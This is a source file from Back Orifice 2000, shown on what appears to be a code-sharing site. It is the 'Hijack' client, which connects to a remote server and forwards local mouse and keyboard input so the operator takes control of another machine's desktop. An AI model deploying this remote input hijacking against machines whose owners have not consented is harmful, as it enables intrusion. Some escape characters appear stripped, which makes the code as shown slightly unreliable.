hiclient.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:19k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<commctrl.h>
  17. #include<plugins.h>
  18. #include<bocomreg.h>
  19. #include<auth.h>
  20. #include<iohandler.h>
  21. #include<encryption.h>
  22. #include<config.h>
  23. #include"bo_peep.h"
  24. #include"hiclient.h"
  25. #include"resource.h"
  26. typedef struct {
  27. // Windows
  28. HWND hParent;
  29. HWND hDialog;
  30. // Move tick timing
  31. DWORD dwLastMoveTick;
  32. DWORD dwMoveTickDiff;
  33. // Remote switch
  34. BOOL bRemote;
  35. BOOL bOwnedMouse;
  36. BOOL bOwnedKeybd;
  37. HWND hwndRemInput;
  38. // Misc
  39. CAuthSocket *pSock;
  40. WORD wFlags;
  41. HICON hiMouse;
  42. HICON hiKeybd;
  43. HCURSOR hcInactive;
  44. char svCaption[32];
  45. } HIJACK_CONTEXT;
  46. // HijackConnect: Prompts the user for connection information,
  47. // connects an authenticated socket, and updates the dialog box
  48. int HijackConnect(HIJACK_CONTEXT *hjcontext) 
  49. {
  50. // Update dialog box
  51. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_CHECKED,0);
  52. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Disconnect");
  53. // Create connection socket
  54. CAuthSocket *pSock=ConnectAuthSocket(InteractiveConnect,0,hjcontext->hDialog,
  55. GetCfgStr(g_szAdvancedOptions,"Hijack Bind Str"),
  56. GetCfgStr(g_szAdvancedOptions,"Hijack Net Module"),
  57. GetCfgStr(g_szAdvancedOptions,"Hijack Encryption"),
  58. GetCfgStr(g_szAdvancedOptions,"Hijack Auth"));
  59. if(pSock==NULL) {
  60. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  61. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  62. return 0;
  63. } else if(pSock==(CAuthSocket *)0xFFFFFFFF) {
  64. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  65. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  66. return -1;
  67. }
  68. hjcontext->pSock=pSock;
  69. char svAddr[256];
  70. pSock->GetRemoteAddr(svAddr,256);
  71. lstrcpyn(hjcontext->svCaption, svAddr, 32);
  72. // Set up buttons
  73. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNMOUSE,BM_SETCHECK,BST_UNCHECKED,0);
  74. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNKEYBD,BM_SETCHECK,BST_UNCHECKED,0);
  75. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNMOUSE),TRUE);
  76. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNKEYBD),TRUE);
  77. return 1;
  78. }
  79. // HijackDisconnect: Shuts down any socket, and updates the dialog box
  80. BOOL HijackDisconnect(HIJACK_CONTEXT *hjcontext)
  81. {
  82. if(hjcontext->pSock==NULL) return FALSE;
  83. hjcontext->pSock->Close();
  84. delete hjcontext->pSock;
  85. hjcontext->pSock=NULL;
  86. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  87. SendDlgItemMessage(hjcontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  88. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNMOUSE,BM_SETCHECK,BST_UNCHECKED,0);
  89. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNKEYBD,BM_SETCHECK,BST_UNCHECKED,0);
  90. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNMOUSE),FALSE);
  91. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNKEYBD),FALSE);
  92. return TRUE;
  93. }
  94. // IssueHijackCommand: Issues a command to the server and optionally waits for a response
  95. BOOL IssueHijackCommand(HIJACK_CONTEXT *hjcontext, HIJACK_HEADER *phh, int nHdrSize=sizeof(HIJACK_HEADER), char *svFailMsg=NULL, BOOL bWait=FALSE)
  96. {
  97. HIJACK_HEADER *phh2;
  98. int nRet,nSize;
  99. if(hjcontext->pSock==NULL) return FALSE;
  100. // Send request
  101. while((nRet=hjcontext->pSock->Send((BYTE *)phh,nHdrSize))==0) Sleep(0);
  102. if(nRet<0) {
  103. MessageBox(hjcontext->hDialog,"Error sending request. Connection lost.","Connection error",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  104. HijackDisconnect(hjcontext);
  105. return FALSE;
  106. }
  107. // Wait for response
  108. if(bWait) {
  109. while((nRet=hjcontext->pSock->Recv((BYTE **)&phh2,&nSize))==0) Sleep(0);
  110. if(nRet<0) {
  111. MessageBox(hjcontext->hDialog,"Error sending request. Connection lost.","Connection error",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  112. HijackDisconnect(hjcontext);
  113. return FALSE;
  114. }
  115. if(nSize<sizeof(HIJACK_HEADER)) return FALSE;
  116. // Check success/failure
  117. if(svFailMsg) {
  118. if(phh2->bAction==HA_FAILURE) {
  119. MessageBox(hjcontext->hDialog,svFailMsg,"Permission denied",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  120. return FALSE;
  121. }
  122. }
  123. }
  124. return TRUE;
  125. }
  126. // ClientGoLocal: Switches control back to the local machine
  127. void ClientGoLocal(HIJACK_CONTEXT *hjcontext)
  128. {
  129. // Close capture window
  130. if(hjcontext->hwndRemInput!=NULL) {
  131. DestroyWindow(hjcontext->hwndRemInput);
  132. hjcontext->hwndRemInput=NULL;
  133. }
  134. hjcontext->bRemote=FALSE;
  135. }
  136. // ClientGoRemote: Switches control to the remote machine
  137. void ClientGoRemote(HIJACK_CONTEXT *hjcontext)
  138. {
  139. // Ensure we have something owned
  140. if(!(hjcontext->bOwnedMouse || hjcontext->bOwnedKeybd)) {
  141. ClientGoLocal(hjcontext);
  142. return;
  143. }
  144. // Ensure input capture window exists
  145. if(hjcontext->hwndRemInput==NULL) {
  146. hjcontext->hwndRemInput=CreateWindowEx(WS_EX_TRANSPARENT,"REMOTEMOUSE",hjcontext->svCaption,WS_POPUP|WS_MAXIMIZE|WS_VISIBLE,0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN),NULL,NULL,g_hInstance,hjcontext);
  147. if(hjcontext->hwndRemInput==NULL) return;
  148. }
  149. BringWindowToTop(hjcontext->hwndRemInput);
  150. SetFocus(hjcontext->hwndRemInput);
  151. hjcontext->bRemote=TRUE;
  152. }
  153. // ClientOwnDevice: Owns or frees a remote device
  154. void ClientOwnDevice(HIJACK_CONTEXT *hjcontext, int nDevice, BOOL bOwn)
  155. {
  156. HIJACK_HEADER hh;
  157. char *svFailMsg;
  158. // Create own/free request
  159. if(bOwn) hh.bAction=HA_OWNDEVICE;
  160. else hh.bAction=HA_FREEDEVICE;
  161. hh.bDevice=(BYTE)nDevice;
  162. if(bOwn && nDevice==HD_MOUSE) svFailMsg="Mouse could not be owned.";
  163. if(!bOwn && nDevice==HD_MOUSE) svFailMsg="You do not own the mouse.";
  164. if(bOwn && nDevice==HD_KEYBD) svFailMsg="Keyboard could not be owned.";
  165. if(!bOwn && nDevice==HD_KEYBD) svFailMsg="You do not own the keyboard.";
  166. // Send request
  167. if(!IssueHijackCommand(hjcontext,&hh,sizeof(HIJACK_HEADER),svFailMsg,TRUE)) return;
  168. // Update internal variables and dialog checkboxes
  169. if(bOwn) {
  170. if(nDevice==HD_MOUSE) {
  171. hjcontext->bOwnedMouse=TRUE;
  172. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNMOUSE,BM_SETCHECK,BST_CHECKED,0);
  173. } else if(nDevice==HD_KEYBD) {
  174. hjcontext->bOwnedKeybd=TRUE;
  175. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNKEYBD,BM_SETCHECK,BST_CHECKED,0);
  176. }
  177. } else {
  178. if(nDevice==HD_MOUSE) {
  179. hjcontext->bOwnedMouse=FALSE;
  180. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNMOUSE,BM_SETCHECK,BST_UNCHECKED,0);
  181. } else if(nDevice==HD_KEYBD) {
  182. hjcontext->bOwnedKeybd=FALSE;
  183. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNKEYBD,BM_SETCHECK,BST_UNCHECKED,0);
  184. }
  185. }
  186. // Update remote status
  187. if(hjcontext->bRemote) ClientGoRemote(hjcontext);
  188. }
  189. // CapInputWndProc: Mouse and keyboard message capture window procedure
  190. LRESULT CALLBACK CapInputWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  191. {
  192. HIJACK_CONTEXT *hjcontext=(HIJACK_CONTEXT *)GetWindowLong(hwnd,GWL_USERDATA);
  193. switch(uMsg) {
  194. case WM_NCCREATE: 
  195. {
  196. // Store hijack context
  197. LPCREATESTRUCT lpcs=(LPCREATESTRUCT)lParam;
  198. SetWindowLong(hwnd,GWL_USERDATA,(LONG)lpcs->lpCreateParams);
  199. hjcontext=(HIJACK_CONTEXT *)(lpcs->lpCreateParams);
  200. }
  201. return TRUE;
  202. case WM_ACTIVATE:
  203. {
  204. WORD fActive = LOWORD(wParam);           // activation flag 
  205. BOOL fMinimized = (BOOL) HIWORD(wParam); // minimized flag 
  206. HWND hwndPrevious = (HWND) lParam;       // window handle  
  207. if(fActive==WA_INACTIVE) {
  208. // If window loses focus, we should kill it.
  209. ClientGoLocal(hjcontext);
  210. return TRUE;
  211. }
  212. }
  213. break;
  214. case WM_SETCURSOR:
  215. return (LRESULT) SetCursor(hjcontext->hcInactive);
  216. default:
  217. // ------ Handle mouse input -----------
  218. if(hjcontext->bOwnedMouse) {
  219. BOOL bMouseMsg=TRUE;
  220. HIJACK_HEADER hh;
  221. DWORD dwTick;
  222. memset(&hh,0,sizeof(HIJACK_HEADER));
  223. hh.bDevice=HD_MOUSE;
  224. switch(uMsg) {
  225. case WM_MOUSEMOVE:
  226. dwTick=GetTickCount();
  227. if((dwTick-hjcontext->dwLastMoveTick)>hjcontext->dwMoveTickDiff) {
  228. hh.bAction=HA_MOVE;
  229. hjcontext->dwLastMoveTick=dwTick;
  230. } else bMouseMsg=FALSE;
  231. break;
  232. case WM_LBUTTONDOWN:
  233. hh.bAction=HA_LBUTTONDOWN;
  234. break;
  235. case WM_MBUTTONDOWN:
  236. hh.bAction=HA_MBUTTONDOWN;
  237. break;
  238. case WM_RBUTTONDOWN:
  239. hh.bAction=HA_RBUTTONDOWN;
  240. break;
  241. case WM_LBUTTONUP:
  242. hh.bAction=HA_LBUTTONUP;
  243. break;
  244. case WM_MBUTTONUP:
  245. hh.bAction=HA_MBUTTONUP;
  246. break;
  247. case WM_RBUTTONUP:
  248. hh.bAction=HA_RBUTTONUP;
  249. break;
  250. case WM_LBUTTONDBLCLK:
  251. hh.bAction=HA_LBUTTONDBL;
  252. break;
  253. case WM_MBUTTONDBLCLK:
  254. hh.bAction=HA_MBUTTONDBL;
  255. break;
  256. case WM_RBUTTONDBLCLK:
  257. hh.bAction=HA_RBUTTONDBL;
  258. break;
  259. default:
  260. bMouseMsg=FALSE;
  261. break;
  262. }
  263. if(bMouseMsg) {
  264. hh.mouse.wPosX=(LOWORD(lParam)*65536)/GetSystemMetrics(SM_CXSCREEN);
  265. hh.mouse.wPosY=(HIWORD(lParam)*65536)/GetSystemMetrics(SM_CYSCREEN);
  266. IssueHijackCommand(hjcontext,&hh,sizeof(HIJACK_HEADER));
  267. }
  268. }
  269. // ------ Handle keyboard input ---------
  270. if(hjcontext->bOwnedKeybd) {
  271. BOOL bKeybdMsg=TRUE;
  272. HIJACK_HEADER hh;
  273. memset(&hh,0,sizeof(HIJACK_HEADER));
  274. hh.bDevice=HD_KEYBD;
  275. switch(uMsg) {
  276. case WM_KEYDOWN:
  277. hh.bAction=HA_KEYDOWN;
  278. hh.keybd.dwKeyFlags=0;
  279. break;
  280. case WM_KEYUP:
  281. hh.bAction=HA_KEYUP;
  282. hh.keybd.dwKeyFlags=KEYEVENTF_KEYUP;
  283. break;
  284. case WM_SYSKEYDOWN:
  285. hh.bAction=HA_KEYDOWN;
  286. hh.keybd.dwKeyFlags=0;
  287. break;
  288. case WM_SYSKEYUP:
  289. hh.bAction=HA_KEYUP;
  290. hh.keybd.dwKeyFlags=KEYEVENTF_KEYUP;
  291. break;
  292. default:
  293. bKeybdMsg=FALSE;
  294. break;
  295. }
  296. if(bKeybdMsg) {
  297. hh.keybd.bVirtKey=(BYTE)wParam;
  298. hh.keybd.bScanCode=(BYTE)(lParam>>16);
  299. hh.keybd.dwKeyFlags|=(lParam & (1<<24))?KEYEVENTF_EXTENDEDKEY:0;
  300. IssueHijackCommand(hjcontext,&hh,sizeof(HIJACK_HEADER));
  301. }
  302. }
  303. break;
  304. }
  305. return DefWindowProc(hwnd,uMsg,wParam,lParam);
  306. }
  307.  
  308. // HijackDlgProc: Dialog Procedure for Hijack client
  309. BOOL CALLBACK HijackDlgProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
  310. {
  311. HIJACK_CONTEXT *hjcontext=(HIJACK_CONTEXT *)GetWindowLong(hwndDlg,GWL_USERDATA);
  312. WORD wID,wNotifyCode;
  313. HWND hwndCtl;
  314. WORD uCmdType, xPos, yPos;
  315. WORD wHotKey;
  316. switch(uMsg) {
  317. case WM_INITDIALOG:
  318. SetWindowLong(hwndDlg,GWL_USERDATA,(LONG)lParam);
  319. // Initialize Hijack context
  320. hjcontext=(HIJACK_CONTEXT *)lParam;
  321. hjcontext->hDialog=hwndDlg;
  322. hjcontext->pSock=NULL;
  323. hjcontext->bRemote=FALSE;
  324. hjcontext->bOwnedMouse=FALSE;
  325. hjcontext->bOwnedKeybd=FALSE;
  326. hjcontext->wFlags=0;
  327. hjcontext->svCaption[0]='';
  328. hjcontext->hiMouse=(HICON)LoadImage(g_hInstance,MAKEINTRESOURCE(IDI_MOUSE),IMAGE_ICON,0,0,LR_DEFAULTSIZE);
  329. hjcontext->hiKeybd=(HICON)LoadImage(g_hInstance,MAKEINTRESOURCE(IDI_KEYBOARD),IMAGE_ICON,0,0,LR_DEFAULTSIZE);
  330. hjcontext->hcInactive=(HCURSOR)LoadImage(g_hInstance,MAKEINTRESOURCE(IDC_INACTIVE),IMAGE_CURSOR,0,0,LR_DEFAULTSIZE);
  331. hjcontext->hwndRemInput=NULL;
  332. hjcontext->dwMoveTickDiff=30;
  333. hjcontext->dwLastMoveTick=GetTickCount();
  334. // Set up bitmap buttons
  335. SendDlgItemMessage(hwndDlg,IDC_OWNMOUSE,BM_SETIMAGE,IMAGE_ICON,(LPARAM)hjcontext->hiMouse);
  336. SendDlgItemMessage(hwndDlg,IDC_OWNKEYBD,BM_SETIMAGE,IMAGE_ICON,(LPARAM)hjcontext->hiKeybd);
  337. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNMOUSE,BM_SETCHECK,BST_UNCHECKED,0);
  338. SendDlgItemMessage(hjcontext->hDialog,IDC_OWNKEYBD,BM_SETCHECK,BST_UNCHECKED,0);
  339. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNMOUSE),FALSE);
  340. EnableWindow(GetDlgItem(hjcontext->hDialog,IDC_OWNKEYBD),FALSE);
  341. // Set initial hotkey
  342. SendDlgItemMessage(hwndDlg,IDC_HOTKEY,HKM_SETRULES,HKCOMB_NONE|HKCOMB_S,HOTKEYF_ALT|HOTKEYF_CONTROL);
  343. SendDlgItemMessage(hwndDlg,IDC_HOTKEY,HKM_SETHOTKEY,MAKEWORD('Z',HOTKEYF_ALT|HOTKEYF_CONTROL),0);
  344. SendMessage(hwndDlg,WM_SETHOTKEY,MAKEWORD('Z',HOTKEYF_ALT|HOTKEYF_CONTROL),0);
  345. // Set initial mouse movetick
  346. SetDlgItemInt(hwndDlg,IDC_MOUSETIME,hjcontext->dwMoveTickDiff,FALSE);
  347. return TRUE;
  348. case WM_CLOSE:
  349. PostQuitMessage(0);
  350. return TRUE;
  351. case WM_COMMAND:
  352. wNotifyCode = HIWORD(wParam); // notification code 
  353. wID = LOWORD(wParam);         // item, control, or accelerator identifier 
  354. hwndCtl = (HWND) lParam;      // handle of control 
  355. switch(wID) {
  356. case IDC_CONNECT:
  357. if(hjcontext->pSock==NULL) {
  358. if(HijackConnect(hjcontext)==-1) {
  359. MessageBox(hjcontext->hDialog,"Could not connect to Hijack address.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  360. }
  361. } else {
  362. HijackDisconnect(hjcontext);
  363. }
  364. return TRUE;
  365. case IDC_HOTKEY:
  366. wHotKey=(WORD)SendDlgItemMessage(hwndDlg,IDC_HOTKEY,HKM_GETHOTKEY,0,0);
  367. if(wHotKey==0) {
  368. wHotKey=MAKEWORD('Z',HOTKEYF_ALT|HOTKEYF_CONTROL);
  369. SendDlgItemMessage(hwndDlg,IDC_HOTKEY,HKM_SETHOTKEY,wHotKey,0);
  370. }
  371. SendMessage(hwndDlg,WM_SETHOTKEY,wHotKey,0);
  372. return TRUE;
  373. case IDC_LOCK:
  374. if(SendDlgItemMessage(hwndDlg,IDC_LOCK,BM_GETCHECK,0,0)==BST_CHECKED) {
  375. SetWindowText(GetDlgItem(hwndDlg,IDC_LOCK),"Save");
  376. EnableWindow(GetDlgItem(hwndDlg,IDC_MOUSETIME),TRUE);
  377. EnableWindow(GetDlgItem(hwndDlg,IDC_MOUSETIMETEXT),TRUE);
  378. EnableWindow(GetDlgItem(hwndDlg,IDC_HOTKEY),TRUE);
  379. EnableWindow(GetDlgItem(hwndDlg,IDC_HOTKEYTEXT),TRUE);
  380. } else {
  381. hjcontext->dwMoveTickDiff=GetDlgItemInt(hwndDlg,IDC_MOUSETIME,NULL,FALSE);
  382. SetWindowText(GetDlgItem(hwndDlg,IDC_LOCK),"Settings...");
  383. EnableWindow(GetDlgItem(hwndDlg,IDC_MOUSETIME),FALSE);
  384. EnableWindow(GetDlgItem(hwndDlg,IDC_MOUSETIMETEXT),FALSE);
  385. EnableWindow(GetDlgItem(hwndDlg,IDC_HOTKEY),FALSE);
  386. EnableWindow(GetDlgItem(hwndDlg,IDC_HOTKEYTEXT),FALSE);
  387. }
  388. return TRUE;
  389. case IDC_OWNMOUSE:
  390. if(SendDlgItemMessage(hwndDlg,IDC_OWNMOUSE,BM_GETCHECK,0,0)==BST_UNCHECKED) {
  391. ClientOwnDevice(hjcontext,HD_MOUSE,TRUE);
  392. } else {
  393. ClientOwnDevice(hjcontext,HD_MOUSE,FALSE);
  394. }
  395. return TRUE;
  396. case IDC_OWNKEYBD:
  397. if(SendDlgItemMessage(hwndDlg,IDC_OWNKEYBD,BM_GETCHECK,0,0)==BST_UNCHECKED) {
  398. ClientOwnDevice(hjcontext,HD_KEYBD,TRUE);
  399. } else {
  400. ClientOwnDevice(hjcontext,HD_KEYBD,FALSE);
  401. }
  402. return TRUE;
  403. }
  404. return FALSE;
  405. case WM_SYSCOMMAND:
  406. uCmdType = wParam;        // type of system command requested 
  407. xPos = LOWORD(lParam);    // horizontal position, in screen coordinates 
  408. yPos = HIWORD(lParam);    // vertical position, in screen coordinates 
  409. switch(uCmdType) {
  410. case SC_HOTKEY:
  411. SetFocus(NULL);
  412. if(hjcontext->bRemote==FALSE) {
  413. ClientGoRemote(hjcontext);
  414. } else {
  415. ClientGoLocal(hjcontext);
  416. }
  417. return TRUE;
  418. }
  419. return FALSE;
  420. case WM_DESTROY:
  421. ClientGoLocal(hjcontext);
  422. if(hjcontext->pSock!=NULL) HijackDisconnect(hjcontext);
  423. DestroyCursor(hjcontext->hcInactive);
  424. DeleteObject(hjcontext->hiKeybd);
  425. DeleteObject(hjcontext->hiMouse);
  426. return TRUE;
  427. }
  428. return FALSE;
  429. }
  430. // HijackThread: Desktop hijacking thread
  431. DWORD WINAPI HijackThread(LPVOID *pArgs)
  432. {
  433. HWND hParent,hHijackDlg;
  434. // Thread housekeeping
  435. InterlockedIncrement(&g_nNumThreads);
  436. hParent=(HWND)pArgs;
  437. // Create context to keep hijack info
  438. HIJACK_CONTEXT *hjcontext=(HIJACK_CONTEXT *) malloc(sizeof(HIJACK_CONTEXT));
  439. if(hjcontext==NULL) {
  440. InterlockedDecrement(&g_nNumThreads);
  441. return -1;
  442. }
  443. hjcontext->hParent=hParent;
  444. hjcontext->pSock=NULL;
  445. // Create mouse capture window class
  446. WNDCLASSEX wndclassex;
  447. wndclassex.cbSize=sizeof(WNDCLASSEX);
  448. wndclassex.style=CS_DBLCLKS;
  449. wndclassex.lpfnWndProc=CapInputWndProc;
  450. wndclassex.cbClsExtra=0;
  451. wndclassex.cbWndExtra=0;
  452. wndclassex.hInstance=g_hInstance;
  453. wndclassex.hIcon=NULL;
  454. wndclassex.hCursor=NULL;
  455. wndclassex.hbrBackground=NULL;
  456. wndclassex.lpszMenuName=NULL;
  457. wndclassex.lpszClassName="REMOTEMOUSE";
  458. wndclassex.hIconSm=NULL;
  459. RegisterClassEx(&wndclassex);
  460. // Create hijack window
  461. hHijackDlg=CreateDialogParam(g_hInstance,MAKEINTRESOURCE(IDD_HIJACKDLG),hParent,HijackDlgProc,(LPARAM)hjcontext);
  462. MSG msg;
  463. while(g_bActive) {
  464. Sleep(20);
  465. // ---------------- Handle message processing ----------------
  466. if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {
  467. if(msg.message==WM_QUIT) goto doneclient;
  468. TranslateMessage(&msg);
  469. DispatchMessage(&msg);
  470. }
  471. // --------------- Handle hijack socket ------------------
  472. if(hjcontext->pSock==NULL) continue;
  473. // Get hijack packet header
  474. CAuthSocket *pSock=hjcontext->pSock;
  475. HIJACK_HEADER *pHeader;
  476. int nSize,nRet;
  477. if((nRet=pSock->Recv((BYTE **)&pHeader,&nSize))>0) {
  478. if(nSize<sizeof(HIJACK_HEADER)) {
  479. pSock->Free((BYTE*)pHeader);
  480. continue;
  481. }
  482. // --------- Check for message -----------
  483. if(pHeader->bAction==HA_MESSAGE) {
  484. // Get the hijack message 
  485. BYTE *pData=(BYTE *)malloc(pHeader->message.dwDataLen);
  486. if(pData==NULL) {
  487. pSock->Free((BYTE*)pHeader);
  488. break;
  489. }
  490. int i=0;
  491. while(i<(int)pHeader->message.dwDataLen) {
  492. BYTE *pFrame;
  493. while((nRet=pSock->Recv(&pFrame,&nSize))==0) Sleep(0);
  494. if(nRet<0) {
  495. MessageBox(hHijackDlg,"Hijack connection lost.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  496. break;
  497. }
  498. memcpy(pData+i,pFrame,nSize);
  499. pSock->Free(pFrame);
  500. i+=nSize;
  501. }
  502. if(nRet<0) break;
  503. // Display the message
  504. MessageBox(hHijackDlg,(LPCTSTR)pData,"Message From Server:",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  505. free(pData);
  506. // ------------- Clean up -------------
  507. pSock->Free((BYTE *)pHeader);
  508. }
  509. if(nRet<0) {
  510. // Disconnect on error
  511. HijackDisconnect(hjcontext);
  512. }
  513. }
  514. doneclient:;
  515. DestroyWindow(hHijackDlg);
  516. UnregisterClass("REMOTEMOUSE",g_hInstance);
  517. free(hjcontext);
  518. InterlockedDecrement(&g_nNumThreads);
  519. return 0;
  520. }
  521. int CreateHijackClient(HWND hParent)
  522. {
  523. DWORD dwtid;
  524. HANDLE htd;
  525. htd=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)HijackThread,(LPVOID)hParent,0,&dwtid);
  526. if(htd==NULL) {
  527. return -1;
  528. }
  529. CloseHandle(htd);
  530. return 0;
  531. }